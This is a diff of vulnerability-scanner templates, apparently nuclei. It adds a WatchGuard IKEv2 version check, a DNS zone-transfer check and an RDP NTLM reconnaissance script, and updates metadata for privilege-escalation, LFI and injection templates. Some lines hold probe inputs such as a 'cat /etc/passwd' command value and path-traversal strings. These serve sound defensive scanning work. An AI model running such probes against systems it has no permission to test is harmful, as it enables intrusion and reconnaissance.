+          ike = Ike(ip, port, timeout)
+
+          try:
+              is_vulnerable, fw_version, build_number = ike.sa_init()
+              return is_vulnerable, fw_version, build_number
+          except TimeoutError:
+              logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
+              return False, None, None
+          except IkeNoProposalChosenException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
+              return False, None, None
+          except IkeInvalidKEPayloadException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
+              return False, None, None
+          except Exception as e:
+              logging.error(f"[-] {ip}:{port} - Error: {e}")
+              return False, None, None
+          finally:
+              ike.close()
+
+      def main():
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+
+          # Set default port to 500 if Port environment variable is not set
+          if port is None or port == "":
+              port = "500"
+
+          try:
+              is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
+
+              if is_vulnerable is True:
+                  print(f"Vulnerable to Version {fw_version} (Build {build_number})")
+              elif is_vulnerable is False:
+                  print(f"NOT VULN to Version {fw_version} (Build {build_number})")
+
+          except Exception as e:
+              logging.error(f"[-] {host}:{port or 500} - Error: {e}")
+              logging.info(f"[?] {host}:{port or 500} - ERROR")
+              logging.info(f"    Status: Error occurred during check")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950

code/misconfiguration/dns-axfr-enabled.yaml

@@ -0,0 +1,34 @@
+id: dns-axfr-enabled
+
+info:
+  name: DNS Zone Transfer Check (AXFR)
+  author: matejsmycka
+  severity: medium
+  description: |
+    Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
+  reference:
+    - https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
+  metadata:
+    verified: true
+    shodan-query: port:53
+  tags: dns,tcp,axfr,code
+
+code:
+  - engine:
+      - bash
+    source: |
+      domain=$Host
+      dig axfr $domain @$(dig $domain ns +short | head -n1)
+
+    matchers:
+      - type: regex
+        regex:
+          - 'XFR size: [1-9][0-9]* records?'
+        condition: and
+
+    extractors:
+      - type: regex
+        regex:
+          - 'SOA\s+([^\s]+)'
+        group: 1
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/binary/privesc-pexec.yaml

@@ -6,8 +6,8 @@ info:
   severity: high
   description: |
     The term "pexec" typically refers to the "privileged execution" of a command or program.
-  reference: |
-    https://gtfobins.github.io/gtfobins/pexec/
+  reference:
+    - https://gtfobins.github.io/gtfobins/pexec/
   metadata:
     verified: true
     max-request: 3
@@ -46,4 +46,4 @@ code:
           - 'contains(code_2_response, "root")'
           - 'contains(code_3_response, "root")'
         condition: or
-# digest: 4a0a004730450221009edb614e28a065546cc8fafe7499dcfbffc2d5635ea4dfcdd9cb6aa61a7b664f022012a2c7395c97ef6db907e2e171073c5654f2cf5c48c7e29c5487b3429f174282:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100de37bdf596ffb4626b12296c771186fec148695b0eddf24491a7861479a76d6a022033304a3c5d01e3f2037c9f35445b551dd13f1344c828348c59972410e6b5b1f4:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/binary/privesc-run-parts.yaml

@@ -6,7 +6,8 @@ info:
   severity: high
   description: |
     The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
-  reference: https://gtfobins.github.io/gtfobins/run-parts/
+  reference:
+    - https://gtfobins.github.io/gtfobins/run-parts/
   metadata:
     verified: true
     max-request: 3
@@ -45,4 +46,4 @@ code:
           - 'contains(code_2_response, "root")'
           - 'contains(code_3_response, "root")'
         condition: or
-# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b45cb313219a24e71be199e7965444e8eae74df5d45845795d2ae512636cd45602210091d4f511f1df6a3c3aa0902004aa7a82bb389ac64628a877ac785feca59559e6:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/rw-shadow.yaml

@@ -5,7 +5,8 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-shadow
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#passwdshadow-files
+    - https://man7.org/linux/man-pages/man5/shadow.5.html
   metadata:
     verified: true
     max-request: 2
@@ -42,4 +43,4 @@ code:
         words:
           - "Not readable and not writable"
         negative: true
-# digest: 4a0a00473045022100eb188c9515d521fa04359befea4e72a984d0fb008f92fedb7026fbdf0e3cb93b02200b58a0d7ff63a300b598ceaeed8bf03e78c1a78ce63472fdf6c526a07814e53c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207974e0cc03df2c2f1939ed4abd700a9662e8ff35d9b5cad24208b6df3171a25402206d0c24abe4e2825e256bea8295182d242d4c39417906c01b9e000ba724250801:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/rw-sudoers.yaml

@@ -5,7 +5,7 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers.d
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=%2Fetc%2Fsudoers#etcsudoers-etcsudoersd
   metadata:
     verified: true
     max-request: 2
@@ -42,4 +42,4 @@ code:
         words:
           - "Not readable and not writable"
         negative: true
-# digest: 490a004630440220058488f0abb109eeda0bb09699d34242875b4af49c51688db2197fd166f508e0022048ed2cfffb8b7b256a3eb1710ebf6a77dc391cc0d20314008b321708803f4881:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b486f9634aee66597295d7afdc3039538318a8c75cc91e4995945afc621e91f022100bd4700f836ab41d9fa788d3608ec37a8b4df3acd1984170a14b15438eaa1ef60:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/sudo-nopasswd.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#nopasswd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#nopasswd
   metadata:
     verified: true
   tags: code,linux,sudo,privesc,local
@@ -24,4 +24,4 @@ code:
         part: code_1_response
         words:
           - "(root) NOPASSWD:"
-# digest: 4a0a0047304502203fed09936acd0184f8239fbd5bfd5caea9650d83284dd7ad0e33f40af198b873022100b17205cf173f893e2d803afa4c1049bf300c329e2830b439cecbbb679cd11f07:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc332830334e18132f3b3ba33a57c0d646f7b4ec9fb6a83849c70aa877efffe2022100c780fc0fccad8542da4cca4eaa21c354115cb95d6c3fa910fb5ce6c55821d829:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/writable-etc-passwd.yaml

@@ -5,7 +5,7 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-passwd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
   metadata:
     verified: true
   tags: code,linux,privesc,local
@@ -29,4 +29,4 @@ code:
         words:
           - "Not writable"
         negative: true
-# digest: 4a0a0047304502202a84729e697bff2f8aaf482cfe72f81d230d56c185f9f05365bed72563035d61022100b5682ab9d4331a9d97563cd593b7f3b752ad3c4a99dc5c0287b9eb9f18db9ede:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a2dcfb2eaea839565816d82dd85b66ba2456dbbe04b3f5571d026c605a94f9c02202f0547ac07c1d33f571cbde87705304d77846d67c120b2b983502fa275396a5f:922c64590222798bb761d5b6d8e72950

code/windows/enumeration/rdp-ntlm-info.yaml

@@ -0,0 +1,112 @@
+id: rdp-ntlm-info
+
+info:
+  name: RDP - NTLM Information Disclosure
+  author: matejsmycka
+  severity: info
+  description: |
+    The enumeration gathered NTLM-related information from remote RDP services with Network Level Authentication (NLA) enabled. By sending an incomplete authentication request, it disclosed details such as the target’s NetBIOS and DNS names, domain, product version, and system time, which proved useful for network reconnaissance and asset profiling.
+  reference:
+    - https://nmap.org/nsedoc/scripts/rdp-ntlm-info.html
+    - https://svn.nmap.org/nmap/scripts/rdp-ntlm-info.nse
+  metadata:
+    verified: true
+    max-request: 1
+  tags: code,rdp,ntlm,info,enum,discovery
+
+variables:
+  PORT: 3389
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+
+      import socket
+      import ssl
+      import struct
+      import os
+      from datetime import datetime, timezone
+
+      RDP_HOST, RDP_PORT = os.getenv('Host'), int(os.getenv('PORT'))
+      TIMEOUT = 5
+
+      NTLM_NEGOTIATE_BLOB = bytes.fromhex(
+          "30 37 A0 03 02 01 60 A1 30 30 2E 30 2C A0 2A 04 28"
+          "4e 54 4c 4d 53 53 50 00"  # NTLMSSP signature
+          "01 00 00 00"              # Type 1: Negotiate
+          "B7 82 08 E2"              # Flags
+          "00 00"                    # DomainNameLen
+          "00 00"                    # DomainNameMaxLen
+          "00 00 00 00"              # DomainNameBufferOffset
+          "00 00"                    # WorkstationLen
+          "00 00"                    # WorkstationMaxLen
+          "00 00 00 00"              # WorkstationBufferOffset
+          "0A 00 63 45 00 00 00 00 0F"  # Version & NTLMRevision
+      )
+
+      AV_PAIRS = {0x00:"EndOfList",0x01:"NetBIOS_ComputerName",0x02:"NetBIOS_DomainName",0x03:"DNS_ComputerName",0x04:"DNS_DomainName",0x05:"DNS_TreeName",0x07:"Timestamp"}
+
+      def parse_av_pairs(blob, offset, length):
+        info, pos, end = {}, offset, offset + length
+        while pos + 4 <= end:
+          av_id, av_len = struct.unpack("<HH", blob[pos:pos+4])
+          pos += 4
+          if av_id == 0: break
+          val = blob[pos:pos+av_len]; pos += av_len
+          key = AV_PAIRS.get(av_id, f"Unknown_{av_id}")
+          if av_id == 0x07 and av_len == 8:
+            ft = struct.unpack("<Q", val)[0]
+            #info[key] = datetime.fromtimestamp(ft/10_000_000-11644473600, tz=timezone.utc).isoformat()
+          else:
+            try: info[key] = val.decode("utf-16-le")
+            except: info[key] = val.hex()
+        return info
+
+      def parse_ntlm_challenge(blob):
+        sig_idx = blob.find(b"NTLMSSP")
+        if sig_idx == -1:
+          return None
+        blob = blob[sig_idx:]
+        info = {}
+
+        try:
+          if len(blob) < 12:
+            return None
+          if struct.unpack("<I", blob[8:12])[0] != 2:
+            return None
+          if len(blob) < 20:
+            return None
+          target_len = struct.unpack("<H", blob[12:14])[0]
+          target_offset = struct.unpack("<I", blob[16:20])[0]
+          if target_len > 0 and len(blob) >= target_offset + target_len:
+            info["Target_Name"] = blob[target_offset:target_offset+target_len].decode("utf-16-le", errors="ignore")
+          if len(blob) >= 48:
+            av_len = struct.unpack("<H", blob[40:42])[0]
+            av_offset = struct.unpack("<I", blob[44:48])[0]
+            if av_len > 0 and len(blob) >= av_offset + av_len:
+              info.update(parse_av_pairs(blob, av_offset, av_len))
+          if len(blob) >= 52:
+            info["Product_Version"] = f"{blob[48]}.{blob[49]}.{struct.unpack('<H', blob[50:52])[0]}"
+        except Exception:
+          return info
+        return info
+
+      with socket.create_connection((RDP_HOST, RDP_PORT), timeout=TIMEOUT) as sock:
+        context = ssl.create_default_context()
+        context.check_hostname = False
+        context.verify_mode = ssl.CERT_NONE
+        with context.wrap_socket(sock, server_hostname=RDP_HOST) as conn:
+          conn.sendall(NTLM_NEGOTIATE_BLOB)
+          response = conn.recv(8192)
+
+      parsed = parse_ntlm_challenge(response)
+      print(parsed)
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100ec99f270e12c09f16ebd91325522989dfa0d42503ae2b3fa47b4decb5f9391d7022100c71480a8bfc8e3cbcd2c188d39111b1abaaad4ae91c1990449cb8c6570590691:922c64590222798bb761d5b6d8e72950

cves.json-checksum.txt

@@ -1 +1 @@
-185a1a33aa39aec5c7d9f71930d352bc
+04825279d81a90757969be8bbeccd5b4

dast/cves/2018/CVE-2018-19518.yaml

@@ -16,12 +16,12 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2018-19518
     cwe-id: CWE-88
-    epss-score: 0.93909
-    epss-percentile: 0.99869
+    epss-score: 0.93956
+    epss-percentile: 0.99875
   metadata:
     max-request: 1
     confidence: tenative
-  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php
+  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,vkev,vuln
 
 http:
   - pre-condition:
@@ -49,4 +49,4 @@ http:
         part: interactsh_request
         words:
           - "User-Agent: curl"
-# digest: 490a00463044022002208b627b1996756a3b5a9cf833d7e5aeaa45d29d2ceabdb0fa262f6bd991d2022043c8f4f5b650f39457b46737b8f7f1d17f7a182e1fcdefb41af53c2d80883ef3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022003d7f90673973a982e5558470f07a7f4ad8f8cc685710dc21348cb4bc670b4d9022100b5549b5ebdfda9e3d3841380d1a9818136dc794c3e03b05c487cb841c88f78b5:922c64590222798bb761d5b6d8e72950

dast/cves/2021/CVE-2021-45046.yaml

@@ -17,11 +17,11 @@ info:
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
     epss-score: 0.9434
-    epss-percentile: 0.99951
+    epss-percentile: 0.99949
   metadata:
     max-request: 1
     confidence: tenative
-  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev
+  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev,vkev,vuln
 
 http:
   - pre-condition:
@@ -62,4 +62,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100bc264cda7705d329446591833763e639680dfd058829ceea129e9f31056a5db9022100955505bdd60aae39b3a59b7b05dd89794f026621178deec96e35a5aa49aeccb9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009196c1d6ef2d3d8e4b25ff18bfa83c04a308b9765b740c9162c14bbc6731d5dd022100d96615e2b640d1a1570bb2c83be10885b97f859a08cdf30f244d62072624fd42:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.94464
-    epss-percentile: 0.99994
+    epss-score: 0.94441
+    epss-percentile: 0.99989
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: vmware
     product: spring_framework
-  tags: packetstorm,cve,cve2024,dast,spring,rce,kev
+  tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev,vuln
 
 http:
   - pre-condition:
@@ -55,4 +55,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 490a0046304402204bd9a84db92f78eaf9a012e2411d16bc77944859a712b609a200b8a94313e1d302206f6818a47fb3eec2507f177b498db2c8baacce5d2e2970fd598fdd4c3692f2e2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cbb1a7ae18dc796cbd8d01a2416573459737a0f5c5bef589a865dba4e022096602206ff2e01b0d20ab6cefb4ab847190e4ea41429ad947a64493881626897d7b9006:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -17,8 +17,8 @@ info:
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
     epss-score: 0.92734
-    epss-percentile: 0.99745
-  tags: sqli,dast,vulhub,cve,cve2022,django
+    epss-percentile: 0.99742
+  tags: sqli,dast,vulhub,cve,cve2022,django,vuln
 
 variables:
   rand_string: '{{rand_text_alpha(15, "abc")}}'
@@ -46,4 +46,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4b0a00483046022100d337f13ee17826d7f2ca11f8b73924c814a8eded942a94e89bc6d60a9ea8f4c3022100d7d9c58b41c74d27890f959ed6f35bc245d559797ab5011cd6fa2412b4f86d2c:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220313f97ef1ed9ca9259404dcc6b2a3d20024e5d93c5e240fc3691a60445b3521b02202dc02c16af44d82d9a1c893c9c85690e677e801a7bd2759dad7b66a31591b236:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-42889.yaml

@@ -19,11 +19,11 @@ info:
     cve-id: CVE-2022-42889
     cwe-id: CWE-94
     epss-score: 0.94161
-    epss-percentile: 0.99909
+    epss-percentile: 0.99907
   metadata:
     max-request: 1
     confidence: tenative
-  tags: cve,cve2022,rce,oast,text4shell,dast
+  tags: cve,cve2022,rce,oast,text4shell,dast,vkev,vuln
 
 http:
   - pre-condition:
@@ -68,4 +68,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 490a00463044022062a166218181e924b5c45bff0730611b68f953c63c57586fa2633d9f3d0eca22022063a5c83cfe23e306c5393a68cbeb9aa498bd6e49c8ac046364740d6f48955499:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022007239687d8e5b0b562ae071607fcc17bf9e0a75003422cc11d019e4c973a71ed022100e39d76c5c714ec810722b624baa6687e4178262aba54c4973139c572bed95be5:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -18,9 +18,9 @@ info:
     cvss-score: 7.3
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
-    epss-score: 0.92466
-    epss-percentile: 0.99724
-  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast
+    epss-score: 0.9261
+    epss-percentile: 0.9973
+  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
 
 flow: http(1) && http(2)
 
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4a0a00473045022100afc8828dfad2f2b70c2012ef4f00176830d847b6ac6053f3d0671d670874184002204dd1bd8f4674ed46b2560b6c5dcff395600562d567370322891f76844f794c39:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa92d96d35809e43ff9944ae82a2d175820a83937e0f8e01f7e7f4bcf976deb9022100db0273ebd16109f8dcc5b9bc3f0cba9388e844a71558447228205f8f635d7b06:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/blind-oast-polyglots.yaml

@@ -12,7 +12,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
   metadata:
     max-request: 4
-  tags: cmdi,oast,dast,blind,polyglot
+  tags: cmdi,oast,dast,blind,polyglot,vuln
 
 variables:
   marker: "{{interactsh-url}}"
@@ -47,4 +47,4 @@ http:
         part: interactsh_protocol
         words:
           - "http"
-# digest: 490a0046304402202419d4ba5f4fd3416fe79458763767d93bf1ef5d7d4c6965bf8e45e7c6cbd841022019c41483c2c7a9df4ff398b7c51adf43b795237a5c14ebd46af70e61e6e4ece3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/python-code-injection.yaml

@@ -4,7 +4,7 @@ info:
   name: Python Code Injection
   author: ritikchaddha
   severity: high
-  tags: python,dast,injection,cmdi
+  tags: python,dast,injection,cmdi,vuln
 
 variables:
   Command: "cat /etc/passwd"
@@ -46,4 +46,4 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 490a00463044022064ced5a02135a5ba8b7c175805059e306f3733d3bbf857549147c9c0ccbd384002201c08821cca27e513e75cac1aac095d5b3a88042240da35c639097b520cc3e448:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/ruby-open-rce.yaml

@@ -11,7 +11,7 @@ info:
     - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
   metadata:
     max-request: 1
-  tags: cmdi,oast,dast,blind,ruby,rce
+  tags: cmdi,oast,dast,blind,ruby,rce,vuln
 
 variables:
   marker: "{{interactsh-url}}"
@@ -37,4 +37,4 @@ http:
         part: interactsh_protocol
         words:
           - "dns"
-# digest: 4a0a0047304502206ff78f37d4198cbd5fc84c62eaeba635201647621d943ab9306c86cb7c2538c5022100cdca6a7cc5fd5960d6c80cbc95d3730c04a44841f9bda59d373a1b7054662259:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/cookie-injection.yaml

@@ -9,7 +9,7 @@ info:
     - https://docs.imperva.com/bundle/on-premises-knowledgebase-reference-guide/page/cookie_injection.htm
   metadata:
     max-request: 1
-  tags: reflected,dast,cookie,injection
+  tags: reflected,dast,cookie,injection,vuln
 
 variables:
   first: "cookie_injection"
@@ -35,4 +35,4 @@ http:
         part: header
         regex:
           - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4b0a004830460221008d176a937df3a060c869460001cd09392d40a6b967ff6e96f370720d962326d4022100d97bad09822dfe1eb276af89d02ed901100fe7b826d4acd9b4d9a363c899f74b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/crlf-injection.yaml

@@ -6,7 +6,7 @@ info:
   severity: low
   metadata:
     max-request: 41
-  tags: crlf,dast
+  tags: crlf,dast,vuln
 
 http:
   - pre-condition:
@@ -73,4 +73,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4a0a004730450221008ccd353c3f0bf996eef2c21aefb04e928a4f97a498e8820914082fd8fe364221022012b563c9b300c5bc73c952975acc9211cd116e8786cdba9d6788e37a474db99b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/csti/angular-client-side-template-injection.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.acunetix.com/vulnerabilities/web/angularjs-client-side-template-injection/
     - https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
-  tags: angular,csti,dast,headless,xss
+  tags: angular,csti,dast,headless,xss,vuln
 
 variables:
   first: "{{rand_int(1000, 9999)}}"
@@ -44,4 +44,4 @@ headless:
         part: body
         words:
           - "{{result}}"
-# digest: 4a0a00473045022020e22f3aa1d49de743347240f3cfc2d4aaa31d402183612be52fd033f51e0792022100a2ed81987f5a5c068275bcf09d505c3582738155068ebb6511cea83023af40c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2ac080bb6415a8212391f85928dbb73c39a193590e820a1296630b526de58e9022100e1e54277e619955b67a2f5f872bbb828c405da0080ebebf25cfdf2b1c930eb0a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/csv-injection.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   description: |
     A CSV injection detection template to identify and prevent CSV injection vulnerabilities by using various payloads that could be interpreted as formulas by spreadsheet applications.
-  tags: dast,csv,oast
+  tags: dast,csv,oast,vuln
 
 http:
   - pre-condition:
@@ -47,4 +47,4 @@ http:
           - "text/csv"
           - "application/csv"
           - "application/vnd.ms-excel"
-# digest: 4b0a00483046022100f7e75b232bba6a4cdf8750cda7e0a17af0e3f86b85e0052d201cb5b60fde787f022100ae2e75bfc5891ad76b304eb90525135d905cde216fc5236f73da1dd79a974321:922c64590222798bb761d5b6d8e72950
+# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/xinclude-injection.yaml

@@ -8,7 +8,7 @@ info:
     XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
   reference:
     - https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks
-  tags: dast,xxe,xinclude
+  tags: dast,xxe,xinclude,vuln
 
 http:
   - pre-condition:
@@ -42,4 +42,4 @@ http:
         part: body
         words:
           - 'for 16-bit app support'
-# digest: 490a0046304402207a9b4788db70b76e3e302ea9bcb1db6b7f7e9b54227688c7d8a1ed57482ceb7b0220351c08f3f79d82384fc13d8d8136691ac121a975411566bff706da9302acf29d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e69db58569b4f4e5f60abf7e90300e73b9999127ef3b07cc6e90798e22187bdd0220062843c2ed9f731d9b4985e0b587e5f3e8ac58c29aa83a84f18d21ca4dcda0e4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/lfi-keyed.yaml

@@ -8,7 +8,7 @@ info:
     - https://owasp.org/www-community/attacks/Unicode_Encoding
   metadata:
     max-request: 25
-  tags: dast,pathtraversal,lfi
+  tags: dast,pathtraversal,lfi,vuln
 
 variables:
   fuzz: "../../../../../../../../../../../../../../../"
@@ -65,6 +65,7 @@ http:
           - date
           - detail
           - file
+          - filename
           - download
           - path
           - folder
@@ -119,4 +120,4 @@ http:
         part: body
         regex:
           - '(<system.webServer[\s\S]+<\/system.webServer>)'
-# digest: 4a0a0047304502202114e3cc18e3be37d3feba20cbf4bd47253c21f71707cf188ae7d73ba8b6a5d6022100bfd226b80fe03a464014b44ccb1988ddf618d7cb3b00be0b5f82973903a592e1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/linux-lfi-fuzz.yaml

@@ -9,7 +9,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
   metadata:
     max-request: 46
-  tags: lfi,dast,linux
+  tags: lfi,dast,linux,vuln
 
 http:
   - pre-condition:
@@ -83,4 +83,4 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 4a0a0047304502207b422d61f592022978e8935702142a3026177736679561ac5c1ff01c5eb6ff02022100c0351d1b5e9675ec4f759d617018e4712a49f742cdd0469c488593896ae45b36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/windows-lfi-fuzz.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   metadata:
     max-request: 39
-  tags: lfi,windows,dast
+  tags: lfi,windows,dast,vuln
 
 http:
   - pre-condition:
@@ -74,4 +74,4 @@ http:
           - "fonts"
           - "extensions"
         condition: and
-# digest: 4a0a00473045022100f7f0f2818b15b27bcecf1aaf93838811a0df811ada75050484c58dbb3fd715f002202b25fd76450937ae37c2c925dda20d6f22a490c1b164d3d1bf703044765daf3e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect-bypass.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln
 
 http:
   - pre-condition:
@@ -285,4 +285,4 @@ http:
           - 301
           - 302
           - 307
-# digest: 4a0a0047304502204ebf924d723493c365c9d4d32ba03204835540154f662dfb94b7579f9aad14b9022100e40c6596ab385687b5c2804d8e487496a1ba5835f9cba5d1a8cec27e3f3fab1d:922c64590222798bb761d5b6d8e72950
